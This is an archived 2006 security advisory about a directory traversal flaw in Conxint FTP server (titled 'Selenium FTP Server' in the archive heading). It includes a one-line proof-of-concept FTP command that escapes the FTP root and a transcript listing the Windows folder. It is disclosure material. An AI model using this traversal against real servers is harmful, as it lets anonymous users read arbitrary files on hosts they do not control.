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  Обратный путь в каталогах Selenium FTP Server / Conxint FTP (directory traversal)

  [NT] Selenium FTP Server Directory Traversal

From:SECURITEAM <support_(at)_securiteam.com>
Date:16 ноября 2006 г.
Subject:[NT] Conxint FTP MKD DIR and GET Directory Transversal

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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 Conxint FTP MKD DIR and GET Directory Transversal
------------------------------------------------------------------------


SUMMARY

"Conxint FTP server provide FTP service on Windows 98/2000/2003/ME/XP
operation system.  You can use it as a general FTP site server, or share
files with other users as a file server."

Conxint FTP v2.2.0603 and previous is vulnerable to Directory Transversals
via the MKD and DIR as well as GET commands.

DETAILS

Description:
Conxint FTP v2.2.0603 and previous is vulnerable to Directory Transversals
via the MKD and DIR as well as GET commands.
This improperly shows file listings of the host computer outside of the
FTP Root directory.  As well as allows remote users or even Unathenticated
Anonymous uers to grab any file on the webserver.

220 Conxint ftp server ready!
ftp> dir \..\..\..\windows\
200 PORT Command successful.
125 Opening ASCII mode data connection for /bin/ls.
total 0
-rw-rw-r--   1 root     root            0 Aug 09 10:45 .tmp
drw-rw-r--   1 root     root          512 Oct 13 00:35 $hf_mig$
drw-rw-r--   1 root     root          512 Jun 24 03:02
$MSI31Uninstall_KB893803v2$
drw-rw-r--   1 root     root          512 Jun 25 03:17
$NtUninstallKB873339$
drw-rw-r--   1 root     root          512 Jun 25 03:22
$NtUninstallKB885835$
drw-rw-r--   1 root     root          512 Jun 25 03:21
$NtUninstallKB885836$
drw-rw-r--   1 root     root          512 Jun 25 03:09
$NtUninstallKB885884$
drw-rw-r--   1 root     root          512 Jun 25 03:09
$NtUninstallKB886185$
drw-rw-r--   1 root     root          512 Jun 25 03:16
$NtUninstallKB887742$
drw-rw-r--   1 root     root          512 Jun 25 03:16
$NtUninstallKB888113$
drw-rw-r--   1 root     root          512 Jun 25 03:10
$NtUninstallKB888302$
drw-rw-r--   1 root     root          512 Jun 25 03:12
$NtUninstallKB890046$
drw-rw-r--   1 root     root          512 Jun 25 03:01
$NtUninstallKB890859$
drw-rw-r--   1 root     root          512 Jun 25 03:14
$NtUninstallKB891781$
..... ETC


ADDITIONAL INFORMATION

The information has been provided by:  <mailto:glinares.code at gmail.com>
Greg Linares.



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